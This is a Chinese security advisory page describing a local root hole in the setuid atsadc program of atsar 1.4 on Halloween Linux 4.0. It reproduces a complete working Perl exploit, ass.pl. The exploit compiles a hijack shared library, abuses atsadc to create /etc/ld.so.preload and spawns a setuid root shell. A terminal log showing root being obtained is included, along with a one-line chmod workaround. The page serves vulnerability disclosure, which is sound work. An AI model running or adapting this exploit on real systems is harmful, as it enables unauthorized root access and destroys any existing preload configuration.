首页 -> 安全研究

安全研究

安全漏洞
Linux atsadc 输入文件检查漏洞

发布日期:2000-03-14
更新日期:2000-03-14

受影响系统:
AT Computing atsar 1.4-linux
   + Halloween Linux 4.0
描述:

atsar是一个Linux下的负载监视软件包,由AT Computing出品。这个软件包中有个程序atsadc
被设置了setuid root位。atsadc会接受一个参数作为输入文件名,并将打开这个文件,但是
它没有检查是否该用户有权限读写这个文件。当它以root身份打开或者创建目标文件后,攻击
在者可能写入任意内容到这个文件中。通过创建恶意的系统文件,攻击者可能本地获得root权
限。比如创建一个恶意的共享库,然后在/etc/ld.so.preload中增加这个库的路径,然后执行
一个设置了setuid root的程序(比如/usr/bin/passwd),然后恶意共享库就将被预装载并执行。


<* 来源: krahmer <krahmer@cs.uni-postdam.de>

         TESO advisory -- atsadc  (http://teso.scene.at)
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


    liane:[bletchley]> id -a
    uid=501(bletchley) gid=501(bletchley) groups=501(bletchley)
    liane:[bletchley]> uname -a
    Linux liane.c-skills.de 2.2.13-13 #21 Thu Mar 2 10:36:13 WET 2000 i686 unknown
    liane:[bletchley]> stat `which atsadc`
      File: "/usr/sbin/atsadc"
      Size: 16000 Filetype: Regular File
      Mode: (4755/-rwsr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root)
    Device: 3,1 Inode: 117038 Links: 1
    Access: Thu Mar 9 10:09:37 2000(00000.01:02:49)
    Modify: Tue Nov 9 23:57:50 1999(00120.11:14:36)
    Change: Tue Mar 7 14:55:23 2000(00001.20:17:03)
    liane:[bletchley]> cd atsar-hack/
    liane:[atsar-hack]> ./ass.pl
    Creating hijack-lib ...
    Compiling hijack-lib ...
    Compile shell ...
    Invoking vulnerable program (atsadc)...
    sh: error in loading shared libraries:
    sh: error in loading shared libraries:
    Welcome. But as always: BEHAVE!
    sh-2.03# id -a
    uid=0(root) gid=0(root) groups=501(bletchley)
    sh-2.03#



---------------------------- ass.pl ------------------------------------------
#!/usr/bin/perl

# Halloween 4 local root-exploit, other distros are maybe
# affected as well. (atsadc program)
# (C) 2000 C-skills development, S. Krahmer under the GPL
# http://www.cs.uni-potsdam.de/homepages/students/linuxer

# Exploit will create /etc/ld.so.preload, so it should NOT exist
# already. THIS FILE WILL BE LOST!

# ! USE IT AT YOUR OWN RISK !
# For educational purposes only.

print "Creating hijack-lib ...\n";
open O, ">/tmp/boom.c" or die "open(boom.c..)";
print O<<_EOF_;
#include <sys/types.h>

int time(void *v)
{
    chown("/tmp/boomsh", 0, 0);
    chmod("/tmp/boomsh", 06755);
    unlink("/etc/ld.so.preload");
    exit(1);
}
_EOF_
close O;

print "Compiling hijack-lib ...\n";
$foo = `cc -c -fPIC /tmp/boom.c -o /tmp/boom.o`;
$foo = `cc -shared /tmp/boom.o -o /tmp/boom.so`;

open O, ">/tmp/boomsh.c" or die "open(boomsh.c ...)";
print O<<_EOF2_;
#include <stdio.h>
int main()
{
    char *a[] = {"/bin/sh", 0};
    setuid(0); setregid(0, 0);
    execve(a[0], a, 0);
    return 0;
}
_EOF2_
close O;

print "Compile shell ...\n";
$foo = `cc /tmp/boomsh.c -o /tmp/boomsh`;

umask 0;

print "Invoking vulnerable program (atsadc)...\n";
$foo = `atsadc 2 1 /etc/ld.so.preload`;
open O, ">/etc/ld.so.preload" or die "Huh? Can't open preload.";
print O "/tmp/boom.so";
close O;
$foo = `/usr/bin/passwd`;

# let it look like if we have sth. to do. :)
sleep 3;
print "Welcome. But as always: BEHAVE!\n";
system("/tmp/boomsh");



建议:

临时解决办法: chmod u-s atsadc

浏览次数:6473
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障